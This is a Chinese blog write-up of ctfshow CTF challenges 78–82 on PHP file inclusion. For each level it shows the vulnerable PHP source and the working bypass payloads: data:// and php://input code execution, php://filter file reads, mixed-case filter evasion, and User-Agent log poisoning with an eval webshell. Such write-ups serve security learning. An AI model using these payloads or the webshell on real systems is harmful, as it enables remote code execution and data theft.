首页 > 其他分享 >ctfshow(78->81)--文件包含漏洞

ctfshow(78->81)--文件包含漏洞

时间:2024-10-17 23:18:12浏览次数:3  
标签:php str GET -- replace ctfshow file 81 data

Web78

源代码如下:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);

代码审计:

使用 include() 进行文件包含,通过GET方法 传递参数file 获取被包含的文件。

思路:

利用 data:// 伪协议,执行系统命令,获取flag文件位置并读取文件内容。

EXP:

查看当前目录下的文件:

https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=data://text/plain,<?php system("ls");?>

找到flag.php,读取其中内容:

https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=data://text/plain,<?php system("tac flag.php");?>

得到flag.

拓展

执行系统命令也可以使用 php://input 伪协议:
在这里插入图片描述

读取flag.php文件内容也可以使用 php://filter 伪协议:

https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=php://filter/convert.base64-encode/resource=flag.php

将回显内容base64解码即可得到flag.

Web79

源代码如下:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将参数file中的 php 替换为 ???

思路:

由于str_replace()函数对大小写敏感,所有可以使用 大小写混写 进行绕过。

EXP:

查看当前目录下的文件:

https://01f9aa95-884e-4d4f-8edb-23b0edbc668b.challenge.ctf.show/
?file=data://text/plain,<?Php system("ls");?> 

读取flag.php:

https://01f9aa95-884e-4d4f-8edb-23b0edbc668b.challenge.ctf.show/
?file=data://text/plain,<?Php system("tac flag.php");?> 

得到flag.

Web80

源代码如下:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 替换为 ???

思路:

由于过滤了data,所有不能使用data://伪协议。
因此我们使用同等作用的 php://input 伪协议,且利用 大小写混写 绕过对php的过滤。

EXP:

查看当前目录下的文件:
在这里插入图片描述找到文件fl0g.php,查看内容:
在这里插入图片描述得到flag.

拓展:

使用包含日志文件的方法:
将UA修改为一句话木马

<?php eval($_POST[1]);?>

在这里插入图片描述将POST传参修改为1=system("tac fl0g.php")即可获得flag.

Web81

源代码如下:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 和:替换为 ???

思路:

过滤了 冒号: ,不能使用伪协议实现漏洞利用。因此我们选择包含日志文件

EXP:

将UA修改为一句话木马

<?php eval($_POST[1]);?>

GET传参nginx下的日志文件的位置,POST传参要执行的代码:
在这里插入图片描述修改POST参数为:1=system('tac fl0g.php');得到flag.

Web82

源代码为:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 和:和. 替换为 ???

思路:

过滤了 点. ,我们不能使用包含日志文件方法。
考虑使用SESSION条件竞争

标签:php,str,GET,--,replace,ctfshow,file,81,data
From: https://blog.csdn.net/m0_56019217/article/details/143028583

相关文章

  • JavaScript初级课程 variables
    下载node。1.申明变量variables.jsletmessage="Hello!";message="World";console.log(message);nodevariables.js2.申明不会变的变量constCOLOR_GREEN="green";console.log(COLOR_GREEN)3.数据类型DataTypes=[number,BigInt,string......
  • wps图标没有坐标轴标题怎么办?wps表格不能用enter下怎么办?
    目录wps图标没有坐标轴标题怎么办一、在WPSPPT中添加坐标轴标题二、在WPSExcel中添加坐标轴标题wps表格不能用enter下怎么办一、检查并修改设置二、检查单元格保护状态三、使用快捷键实现换行wps图标没有坐标轴标题怎么办一、在WPSPPT中添加坐标轴标题插入......
  • 多任务,多目标优化;多任务优化和多目标优化
    目录多任务多目标优化一、明确优化目标二、收集和分析数据三、建立优化模型四、选择优化算法五、实施优化策略六、监控和评估多任务优化和多目标优化多任务优化多目标优化多任务多目标优化在多用户多任务、多服务器的场景下,进行多任务多目标优化是一个复杂但至关......
  • Python基础知识总结
    变量#变量定义name="name"age=18height=1.75#多个变量赋值a=b=c=1print(a,b,c)字符串#字符串定义及输出str1="hello"str2='world'print(str1,str2)#字符串格式化输出print("name:%s,age:%d,height:%.2f"%(name,age,height))#字符串拼接str3=str1+str2pri......
  • 使用 Nim 实现验证码识别与自动化登录
    安装所需依赖我们需要以下依赖:httpclient:用于发送HTTP请求,下载验证码图片。nimimage:用于图像处理。Tesseract:通过系统调用Tesseract进行OCR识别。首先,确保你已经在系统中安装了Tesseract。可以使用包管理器安装,例如:bashsudoaptinstalltesseract-ocr然后,在你的......
  • neovim 配置
    installcurl-LOhttps://github.com/neovim/neovim/releases/latest/download/nvim-linux64.tar.gz#或直接到releases中下载,linux系统要注意glibc版本sudorm-rf/opt/nvimsudotar-C/opt-xzfnvim-linux64.tar.gzexportPATH="\(PATH:/opt/nvim-linux64/bin"#......
  • [算法日常] 逆序对
    [算法日常]逆序对定义在一个长度为\(n\)的数组\(a\)中,若存在\(\forall1\lei,j\len\),使得\(a_i>a_j\),则称\(<a_i,a_j>\)为一对逆序对。举个例子,一个长度为\(5\)的数组为:15364则存在\(3\)个逆序对,分别是\(<5,3>,<5,4>,<6,4>\)。解法F1:显然,可以枚举......
  • 2024初秋集训——提高组 #38
    B.广告效应题目描述有\(N\)户人家在一个数轴上,第\(i\)户人在\(x_i\),影响力为\(p_i\)。你决定把你的书送给一些人并让他们推销。如果一对人\(i,j\)满足:你送了\(i\)书且\(|x_i-x_j|\lep_i-p_j\),那么\(j\)会买你的书。求你至少要送几个人书才能让所有人都有你的书......
  • 二维数组的简单用法
    publicclassIntArrayDemo{publicstaticvoidPrint(){for(inti=0;i<IntArray.Ints.Length;i++){Console.WriteLine(i);}}publicstaticvoidGetValue(......
  • 2024/10/17
    今天还有一道题没做,等以后有时间再来补。abc187EThroughPath每次修改的两个点之间有一条连边,对于每次\(1\)修改:若\(b\)是\(a\)的父亲,只需要将\(a\)子树加\(x\)。若\(a\)是\(b\)的父亲,只需要全局加\(x\),将\(b\)子树减\(x\)。HNOI2018省队集训Day5Pa......